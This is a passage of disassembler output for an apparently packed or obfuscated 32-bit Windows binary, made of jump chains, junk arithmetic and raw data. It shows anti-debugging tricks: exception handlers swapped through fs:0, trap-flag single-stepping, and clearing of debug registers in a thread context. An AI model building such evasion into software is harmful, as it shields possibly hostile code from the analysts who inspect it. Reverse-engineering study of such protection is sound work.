; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4373F3:				; CODE XREF: sub_439ED1+7BAj
		jmp	near ptr byte_43C6FD
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 35E90000h, 83000081h, 0F00F07Dh, 0F5A8Dh, 1CBFE900h
					; CODE XREF: _802izwe5:00439BF0j
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43844A


loc_437410:				; CODE XREF: sub_43844A+4j
		jno	loc_43DD7D
		push	edi
		push	33DC6507h
		pop	edi
		add	edi, 0EF84670Fh
		jmp	loc_43EF53
; END OF FUNCTION CHUNK	FOR sub_43844A
; ---------------------------------------------------------------------------
		dd 0E9510000h, 7629h, 7E28150h,	0E957D9B4h, 2810h, 0FCB1300h
					; CODE XREF: sub_439ED1+24FDj
		dd 36D787h, 6999E900h, 0ADE80000h, 0E900004Dh, 5D72h, 54E90000h
		dd 73h,	0E9C50B00h, 0B84h, 0C6F70000h, 0B32ED856h, 518DE9h
		dd 0CC8B0000h, 10C181h,	98B0000h, 1301C7h, 0C0330001h
		dd 4C181h, 1890000h, 4C181h, 0A4E90000h, 31h, 0E8240C87h
		dd 7753h, 0E3E90000h, 0Eh, 5361E9h, 87000000h, 0C8812404h
		dd 100h, 9D240487h, 61D6E990h, 0C6000000h, 685BF703h, 43A5D8h
		dd 3D01E9h, 0E9C20300h,	0D59h, 6FFF840Fh, 5EE90000h, 19h
		dd 0E90000C3h, 3CE9h, 0DEE90000h, 42h, 639BE900h, 66000000h
		dd 12E3C1CCh, 0F8D6815Fh, 81CAEB36h, 61F3F2F6h,	7E18E9C8h
		dd 8B560000h, 243487F1h, 41D8E9h, 0D8810000h, 0FF079127h
		dd 4B24E9h, 0F707C600h,	0C4E9815Fh, 810DD5C5h, 0C74AAC1h
		dd 0F96499D9h, 43D0C268h, 17D0E900h, 0
		dd 41E9CC2Eh, 55h, 0C181CC8Bh, 10h, 1C7098Bh, 10013h, 18C181h
					; CODE XREF: sub_439ED1+4CF0j
		dd 18A0000h, 9CC181h, 7FE90000h, 78h, 0EAF68100h, 3DECFBBh
		dd 2B00E8CEh, 1B000000h, 0E9C703F8h, 26ECh, 81990000h
		dd 69A320DEh, 4CDBE98Dh, 8B000000h, 0D1239CDFh,	40BE9h
		dd 0C3000000h, 6DE90000h, 0FFFFFCh, 372CE99Dh, 895E0000h
		dd 4C18101h, 89000000h,	0A0C18101h, 0E9000000h,	2D3Ah
		dd 5B8903C6h, 0AD81E081h, 0C081C298h, 68003F24h, 0D446E881h
		dd 4FE987E1h, 8100005Dh, 734383E1h, 0C1F74Eh, 0E9000040h
		dd 14CBh, 572DE951h, 0C1000000h, 0E6E90ECAh, 20h, 0A0C181h
		dd 1C70000h, 439611h, 1C87C033h, 5BCB8B24h, 9CE900C3h
		dd 0E9000083h, 5CD7h, 30000C3h,	1895ECEh, 4C181h, 1890000h
		dd 4C181h, 0BE90000h, 9C00004Fh, 87241C87h, 0DE8B2434h
		dd 6ACCE9h, 55000000h, 2C87E98Bh, 3F72E924h, 64000000h
		dd 42B9E9F1h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437668:				; CODE XREF: sub_439ED1+451j
		push	ecx
		jmp	loc_43783A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 8B00h
		db 0CCh
; ---------------------------------------------------------------------------
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		jmp	loc_43AB29
; ---------------------------------------------------------------------------
		test	edx, eax
		jmp	loc_43BE4A
; ---------------------------------------------------------------------------
		and	edx, ecx
		xor	edi, 82045946h
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_4385E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4376AD:				; CODE XREF: sub_439ED1:loc_43BF6Ej
		pushf
		jmp	loc_43CC0D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4376B3:				; CODE XREF: sub_43C65A:loc_43BD82j
		add	ecx, esi
		pop	esi
		mov	dword ptr [ecx], offset	loc_438E78
		xor	eax, eax
		pop	ecx
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		or	eax, 100h
		xchg	eax, [esp]
		popf
		nop
		jmp	loc_43ACDB
; ---------------------------------------------------------------------------
		align 4
		sub	edi, esi
		jmp	loc_43BE36
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_4376E1:				; CODE XREF: sub_43DA03-1E2Dj
					; DATA XREF: _802izwe5:0043E9A4o
		pop	dword ptr fs:0
		xchg	eax, [esp-4+arg_0]
		pop	eax
		js	loc_43E682
		jmp	loc_43BF78
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------


loc_4376F6:				; CODE XREF: _802izwe5:0043EEE8j
		push	ebx
		push	0BEF50C21h
		pop	ebx
		sub	ebx, 0B2EBAE4Fh
		add	ebx, 625F68B0h
		and	ebx, 0A9FBDF65h
		jmp	loc_43A39B
; ---------------------------------------------------------------------------
		dd 0FFE98100h, 238AD817h, 0CE48BDCDh
		db 0E9h, 8Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437722:				; CODE XREF: sub_439ED1+4135j
		or	esi, 1AC3A1EEh
		jmp	near ptr dword_437548+2Dh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43772E:				; CODE XREF: sub_439ED1:loc_43DD84j
		jnz	loc_43C18E


loc_437734:				; CODE XREF: sub_439ED1+843j
		jmp	loc_43F6AF
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2


loc_43773A:				; CODE XREF: _802izwe5:00439260j
		jmp	loc_437AEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438026


loc_43773F:				; CODE XREF: sub_438026+305j
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_438026
; ---------------------------------------------------------------------------
		dd 7D8B0000h, 2F5BB00h,	39E937A7h, 4Ah,	3507E800h, 0
		dd 0FA70880Fh, 0C7F7FFFFh, 741CB80Ah, 15E9h, 0F000000h
		dd 80808Ch
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_437775	proc near		; CODE XREF: sub_439ED1+2102p
		xchg	edi, [esp+0]
		pop	edi
		popf
		push	edi
		mov	edi, eax


loc_43777D:				; CODE XREF: sub_439ED1:loc_43AB13j
		jmp	loc_43A7C5
sub_437775	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jge	loc_4383ED
		xchg	esi, [esp]
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		jmp	loc_43CB93
; ---------------------------------------------------------------------------
		dw 3300h		; CODE XREF: _802izwe5:0043E4FCj
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_43779B:				; DATA XREF: _802izwe5:0043F8E7o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		xchg	ebp, [esp]
		jmp	loc_4380C1
; ---------------------------------------------------------------------------
		dd 0C3130000h, 4BE2E9h,	0F000000h, 76B084h, 840F0000h
		dd 5C2Ch, 6534E9h, 68510000h, 2BEE3359h, 0DFC98159h, 0E8FB8626h
		dd 12ECh, 20E90000h, 3,	1B95E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_4377EB:				; CODE XREF: sub_43C65A:loc_43EC14j
		mov	[ecx], eax
		push	esi
		push	358947Dh
		pop	esi
		and	esi, 55834B0h
		sub	esi, 0DBFC17EFh
		and	esi, 38ADC75Ch
		xor	esi, 2009C4E0h
		jmp	loc_43BD82
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h	; CODE XREF: sub_439ED1:loc_43A21Fj
		dd 79E3E900h, 0CFE90000h, 5Ah, 0A1C08100h, 5584746Ch, 2C87E88Bh
					; CODE XREF: _802izwe5:0043DF97j
					; sub_43EACE-4D25j
; ---------------------------------------------------------------------------
		and	al, 50h
		push	edx
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_43782F:				; CODE XREF: sub_43DA03:loc_43BA15j
		mov	edx, offset loc_43C1D2
		jmp	loc_43C016
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43783A:				; CODE XREF: sub_439ED1-2868j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		push	ebx
		push	70444D99h
		jmp	loc_438581
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 241C8700h, 689C565Bh, 0D8F95E58h, 0EC6C15Eh,	6680E9h
		dd 0F000000h, 32A788h, 24148700h, 8B243487h, 0E99D5ED6h
		dd 5455h, 24048700h, 0D98B5358h, 8D241C87h, 43C3D505h
		dd 272BE800h, 45E90000h, 0F0000033h, 32F0E9F1h,	0
		dd 607DE8h, 17E90000h, 0E900005Bh, 4B5h, 7027E99Ch, 0
; ---------------------------------------------------------------------------
		mov	eax, [esi]

; =============== S U B	R O U T	I N E =======================================



sub_4378C2	proc near		; CODE XREF: _802izwe5:loc_43D3AAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438CB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B3C8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043EF41 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	dword ptr fs:0
		xchg	eax, [esp-8+arg_4]
		pop	eax
		or	eax, eax
		jmp	loc_438CB5
sub_4378C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0, 3Bh, 0CBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4378DB:				; CODE XREF: sub_439ED1:loc_43A5FFj
		jmp	loc_43DD06
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0E9F12600h, 5D0Fh, 22F08100h, 9D4C1FF7h, 5B94E8h
					; CODE XREF: _802izwe5:0043AF9Fj
					; _802izwe5:004398FAj
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E40D


loc_4378F7:				; CODE XREF: sub_43E40D+1110j
		jmp	loc_43A237
; END OF FUNCTION CHUNK	FOR sub_43E40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4378FC:				; CODE XREF: sub_439ED1+2F71j
		jmp	near ptr dword_437340+46h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
byte_437901	db 0C6h, 1, 3		; DATA XREF: _802izwe5:loc_43EF5Ao
		dd 8B241C87h, 0A2E95BCBh, 3Ah, 42AE9C3h, 81000000h, 8EB679C2h
		dd 68D503BBh, 43ED60h, 0CECE9h,	58000000h, 0E04FC081h
		dd 0E0818F22h, 6E478D76h, 14D7F081h, 1EE96692h,	0Fh, 1C7098Bh
		dd 10013h, 18C181h, 18A0000h, 9CC181h, 1000000h, 0BF1E9h
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437963:				; CODE XREF: sub_439ED1:loc_43A948j
					; _802izwe5:0043D226j
		not	esi
		and	esi, edi
		pop	dword ptr fs:0
		xchg	eax, [esp+8+var_8]
		pop	eax
		add	ecx, edx
		pop	edx
		mov	ecx, [ecx]
		jmp	loc_438C7A
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  68h	; h
		db  40h	; @
		db 0CFh	; Ï
		db  0Fh
		db  3Ah	; :
		db  87h	; ‡
		db  3Ch	; <
		db  24h	; $
		db  8Bh	; ‹
		db 0C7h	; Ç
		db  5Fh	; _
		db 0C1h	; Á
		db 0C0h	; À
		db  1Eh
		db  81h	; 
		db 0F0h	; ð
		db  52h	; R
		db  4Bh	; K
		db  4Eh	; N
		db  75h	; u
		db  81h	; 
		db 0C0h	; À
		db 0A1h	; ¡
		db  6Ch	; l
		db  74h	; t
		db  84h	; „
		db 0E9h	; é
		db  13h
		db  59h	; Y
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BAEA


loc_43799B:				; CODE XREF: sub_43BAEA+Cj
		mov	eax, ebp
		pop	ebp
		or	eax, 23EA27D1h
		call	sub_4393E2
; END OF FUNCTION CHUNK	FOR sub_43BAEA
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4379A9:				; CODE XREF: sub_439ED1+2BAAj
		jmp	near ptr dword_43922C+12h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db    0
		db    0
; ---------------------------------------------------------------------------
		sbb	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_4379B2:				; CODE XREF: sub_439ED1+1181j
		sub	eax, 0ECE2492Bh
		add	eax, 1C71D0B8h
		xor	eax, 0C642C769h
		jmp	loc_4384A5
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_4379C9:				; CODE XREF: _802izwe5:0043F8EFj
		xchg	ebp, [esp]
		mov	ecx, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dd 69680000h, 5B725B81h, 148AE381h, 0C3C1B0F6h,	1DC38116h
		dd 0E937AA11h, 169Ah, 8C0F0000h, 74C4h,	6FE9DE03h, 0
		dd 0E9F1F000h, 3426h, 0E9CC6400h, 0BC9h, 0C870000h, 241C8724h
					; CODE XREF: sub_43CC6B+Cj
		dd 685BCB8Bh, 0B48FF1F5h, 0ACE2815Ah, 0E93455C0h, 78E6h
		dd 67530000h, 68F64h, 24048700h, 32D6E958h, 679C0000h
		dd 68F64h, 24048700h, 5912E958h, 87000000h, 9C5A2414h
		dd 21686A68h, 0CF815F96h, 0AE197057h, 8102C7C1h, 5E0660C7h
		dd 7695E907h, 81560000h, 0B84EC0E2h, 8F6467C3h,	87000006h
		dd 0E2E92404h, 51000041h, 722ABF57h, 0C9E90043h, 4Dh
		db 0
; ---------------------------------------------------------------------------


loc_437A8D:				; DATA XREF: sub_43844A:loc_439AE3o
		push	offset dword_439C94
		jmp	loc_43A2E6
; ---------------------------------------------------------------------------
		align 4
		dd 0B48D0F00h, 2B00003Bh, 1BF081F2h, 39EFAFEh, 18958C8h
		dd 0A0C181h, 2EE90000h,	0FFFFF9h, 4C181h, 1890000h, 4C181h
		dd 1890000h, 0A0C181h, 1C70000h, 437F7Dh, 0ADE9C033h, 2Ch
		dd 81CC3600h, 0DD2227E6h, 7519E9DCh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_437AEB:				; CODE XREF: _802izwe5:loc_43773Aj
		xchg	eax, [esp]
		pop	eax
		pop	edx


loc_437AF0:				; DATA XREF: _802izwe5:0043D83Bo
		push	eax
		push	282D3759h
		push	eax
		push	30E753E5h
		pop	eax
		jmp	loc_43A93A
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0C300h, 49D7E9h, 0C6000000h,	34879C03h, 5EDE8B24h, 8B241C87h
					; CODE XREF: sub_43C99E:loc_43DF4Dj
		dd 7A9CE9CBh, 0
; ---------------------------------------------------------------------------


loc_437B24:				; CODE XREF: _802izwe5:loc_43B95Fj
		add	ecx, 9Ch
		add	[ecx], al
		push	edi
		push	7EF69E5Ch
		pop	edi
		jmp	loc_43A14D
; ---------------------------------------------------------------------------


loc_437B38:				; DATA XREF: sub_439ED1+1DC6o
		push	eax
		mov	eax, offset loc_43F47E
		jmp	loc_43F474
; ---------------------------------------------------------------------------
		align 4
		dd 0FB1E800h, 0		; CODE XREF: sub_43D66E+AD9p
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438C04


loc_437B4C:				; CODE XREF: sub_438C04+Dj
		jmp	loc_43BEB7
; END OF FUNCTION CHUNK	FOR sub_438C04
; ---------------------------------------------------------------------------
		db 2 dup(0), 50h
		dd 217F689Ch, 0F0815DC9h, 0BC0A16D3h, 0FFFDC6E9h, 0C0C100FFh
		dd 24348715h, 0C468515Eh, 59F5F6E4h, 0B2CE9h, 0C30000h
		dd 49E1E9h, 2B000000h, 17C081FEh, 9002F1Eh, 0FC00900h
		dd 1CCC85h, 0CF6E900h, 0C6810000h, 6447C0C2h, 2F16E9h
		dd 0DF810000h, 31E2CD4Ch, 27DAE9h, 57000000h, 3C87F98Bh
		dd 1AB2E924h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_437BC0:				; CODE XREF: sub_43F18B-3A05j
		xchg	eax, [esp+0]
		or	eax, 100h
		xchg	eax, [esp+0]
		popf
		nop
		jmp	loc_43CF3B
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437BD4:				; CODE XREF: sub_439ED1+1DDj
		call	sub_43F18B
		jmp	loc_43A4E8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437BE0:				; CODE XREF: sub_439ED1+313j
		jl	loc_43B0B8
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_437BE6	proc far		; CODE XREF: sub_439ED1+1E9Dp
		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp+0]
		mov	ecx, esi
		jmp	near ptr sub_43F7BD
sub_437BE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437BF4:				; CODE XREF: sub_439ED1+1B8j
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43B25C
; ---------------------------------------------------------------------------


loc_437C09:				; CODE XREF: sub_439ED1+682j
		rol	ebp, 1Bh


loc_437C0C:				; DATA XREF: sub_437F24+4o
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		xchg	esi, [esp+0]
		mov	eax, esi
		pop	esi
		popf
		mov	al, [eax]
		jmp	loc_43C34C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437C24:				; CODE XREF: sub_439ED1:loc_4396FFj
		jnz	loc_43A3C0
		add	[ebx+2BEF03EFh], cl
		jmp	far ptr	0E800h:1B78E9h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db  16h
		db  19h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_437C3B:				; CODE XREF: _802izwe5:0043BDFAj
		jmp	near ptr dword_43A640+2
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437C44:				; CODE XREF: sub_439ED1:loc_43EEA8j
		jmp	loc_43A87C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 265Eh, 36FF6467h, 64670000h,	2689h, 0C1E9CC3Eh, 64h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_437C64:				; CODE XREF: sub_43C65A:loc_43993Fj
		xchg	ebx, [esp+0]
		mov	eax, offset loc_43BD68
		jmp	loc_4386FE
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_437C71:				; CODE XREF: sub_43E3D6:loc_43BC55j
		mov	[ecx], eax
		add	ecx, 4


loc_437C79:				; CODE XREF: _802izwe5:0043BF86j
		mov	[ecx], eax
		push	edi
		push	6B2D520Dh
		pop	edi
		sub	edi, 68F429D7h
		add	edi, 0E953F298h
		jmp	loc_4394F4
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437C94:				; CODE XREF: sub_439ED1:loc_43C4DFj
		pop	esi
		push	ebx
		push	23AB75C3h
		pop	ebx
		sub	ebx, 6DBE7DCCh
		jmp	loc_43ACD4
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_437CA7:				; CODE XREF: sub_43C65A+BAAj
		pop	ecx
		sub	ecx, 0D63C642h
		add	ecx, 0C28E41F1h
		add	edi, ecx
		pop	ecx
		jmp	loc_43B16F
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------


loc_437CBC:				; CODE XREF: _802izwe5:0043957Dj
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		jmp	loc_43E1D2
; ---------------------------------------------------------------------------
		db 2 dup(0), 51h
; ---------------------------------------------------------------------------
		jmp	loc_43F0FA
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 42D719C7h, 2188E9E0h, 0C30000h, 49B9E9h, 81000000h
		dd 0BBF3FAF6h, 5ECE03DDh, 0BD5B01C7h, 0C0330043h, 0C359h
		dd 7230E9h, 0E9000000h,	2112h, 0F560E900h, 6467FFFFh, 36FFh
		dd 3808E9h, 800F0000h, 14DBh, 3603E9h, 87000000h, 70CE929h
		dd 0
; ---------------------------------------------------------------------------
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43955F
; ---------------------------------------------------------------------------
		db 2 dup(0), 89h	; CODE XREF: _802izwe5:0043E362j
; ---------------------------------------------------------------------------
		aaa


loc_437D59:				; DATA XREF: sub_439ED1+4182o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		xchg	edx, [esp]
		pop	edx
		jmp	loc_4386D1
; ---------------------------------------------------------------------------
		dd 50F08100h, 3B6F887Dh, 58E958C8h, 75h, 5A241487h, 7CB0E8h
		dd 7D05C600h, 0F0043ECh, 0C3D505C6h, 0C30F0043h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_437D94:				; CODE XREF: sub_43C50C+Dj
		jmp	loc_43ED6C
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
		dd 0FFF9B4E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_437DA2	proc near		; CODE XREF: sub_43F18B:loc_4390C1p
					; DATA XREF: sub_439ED1:loc_43EA36o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438E91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004397CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ED7B SIZE 0000000D BYTES

		push	edi
		mov	edi, esi
		jmp	loc_438E91
sub_437DA2	endp

; ---------------------------------------------------------------------------
		dw 5700h
; ---------------------------------------------------------------------------
		push	2E604408h
		adc	edi, ebx
		jmp	loc_43BCBF
; ---------------------------------------------------------------------------
		dd 0A5E78100h, 0E9229151h, 4391h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA03


loc_437DC6:				; CODE XREF: sub_43DA03-1FDAj
		rol	edi, 1Ch


loc_437DC9:				; CODE XREF: sub_43DA03:loc_43BF9Aj
		push	eax
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		push	offset sub_43ECCE
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_43DA03
; ---------------------------------------------------------------------------


loc_437DDA:				; CODE XREF: _802izwe5:loc_43F0FAj
		mov	ecx, esp
		push	ebx
		push	0D6B64C07h
		pop	ebx
		or	ebx, 0D279FCB3h
		jmp	loc_43C7C0
; ---------------------------------------------------------------------------
		jl	loc_43C085
		add	bh, dh
		retn	89E4h
; ---------------------------------------------------------------------------
		inc	esi
		db	2Eh
		jmp	loc_437EC8
; ---------------------------------------------------------------------------
		dd 8D00C600h, 43BD8F68h, 2F7AE900h, 0

; =============== S U B	R O U T	I N E =======================================



sub_437E10	proc near		; CODE XREF: sub_4393E2:loc_43C5DAp

; FUNCTION CHUNK AT 0043D074 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		popf
		mov	esp, ebp
		push	offset loc_43BF5F
		jmp	loc_43D074
sub_437E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h	; CODE XREF: sub_438A6E:loc_43F93Dj
; ---------------------------------------------------------------------------
		retn	8107h
; ---------------------------------------------------------------------------
		db 0E2h
; ---------------------------------------------------------------------------
		fdiv	st(4), st
		lodsd
		cmp	cl, al
		retn	8104h
; ---------------------------------------------------------------------------
		retn	2928h
; ---------------------------------------------------------------------------
		db 33h
		dd 997A6888h, 0B4E90043h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_437E3F:				; CODE XREF: _802izwe5:loc_43E1D2j
		call	sub_43EACE
		jmp	loc_43DE6C
; ---------------------------------------------------------------------------


loc_437E49:				; CODE XREF: _802izwe5:0043EE8Bj
		and	ebp, 0F8940AD4h

; =============== S U B	R O U T	I N E =======================================



sub_437E4F	proc near		; CODE XREF: sub_43C65A+303p

; FUNCTION CHUNK AT 0043986D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BDCB SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, 88458004h
		jmp	loc_43986D
sub_437E4F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_437E5E:				; CODE XREF: _802izwe5:loc_43EC7Dj
		jnb	loc_43C1DE
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		push	96F0DB7Fh
		pop	eax
		add	eax, 0C22DF98h
		and	eax, 607462E6h
		jmp	loc_43E81E
; ---------------------------------------------------------------------------
		align 2
		mov	byte ptr [edi],	87h
		push	offset dword_43DBCC
		jmp	locret_43B523
; ---------------------------------------------------------------------------
		align 10h


loc_437E90:				; CODE XREF: _802izwe5:0043D4D1j
		rol	eax, 0Ah


loc_437E93:				; CODE XREF: _802izwe5:loc_43D4BAj
		add	edx, 0CF957ED8h
		rol	edx, 17h
		push	offset word_437EF2
		jmp	loc_43D061
; ---------------------------------------------------------------------------
		dw 4D9Eh
		dd 0FC45FFF0h, 0F07D83h, 4AD8D0Fh, 57E90000h, 22h, 87C18B50h
		dd 93E92404h, 9
; ---------------------------------------------------------------------------


loc_437EC8:				; CODE XREF: _802izwe5:00437DFAj
		jz	loc_4391C2


loc_437ECE:				; CODE XREF: _802izwe5:00439254j
		jg	near ptr dword_437A98+1Ah
		sub	esi, 0A8D34CB3h
		jg	loc_43FAB9
		jmp	loc_43C07F
; ---------------------------------------------------------------------------
		db 9Dh,	81h, 0C1h
		dd 12AF12A8h, 0FFF4AAE9h
		db 0FFh, 0
word_437EF2	dw 0F281h		; DATA XREF: _802izwe5:00437E9Co
		dd 0F9552F0Eh, 0E8241487h, 6B25h, 0F3E90000h, 38h, 0FAE9F92Bh
					; CODE XREF: sub_43E9D9-2E3Fj
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_437F0F:				; CODE XREF: sub_43F688-1989j
		jno	loc_43BDC1
		sbb	ebx, 3FCEEF57h
		test	ecx, esi
		jmp	loc_43EE61
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_437F24	proc near		; CODE XREF: sub_439ED1+CADp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043F983 SIZE 00000007 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	dword ptr [ecx], offset	loc_437C0C
		xor	eax, eax
		jmp	loc_43F983
sub_437F24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 108Bh
		dd 97D6857h, 0E95FDE57h, 0FFFFF8A0h, 820F0000h,	1A74h
					; CODE XREF: _802izwe5:00439768j
		dd 5E243487h, 5FE9CC36h, 0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_437F58:				; CODE XREF: sub_439ED1-1AC3j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43BF43
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAE5


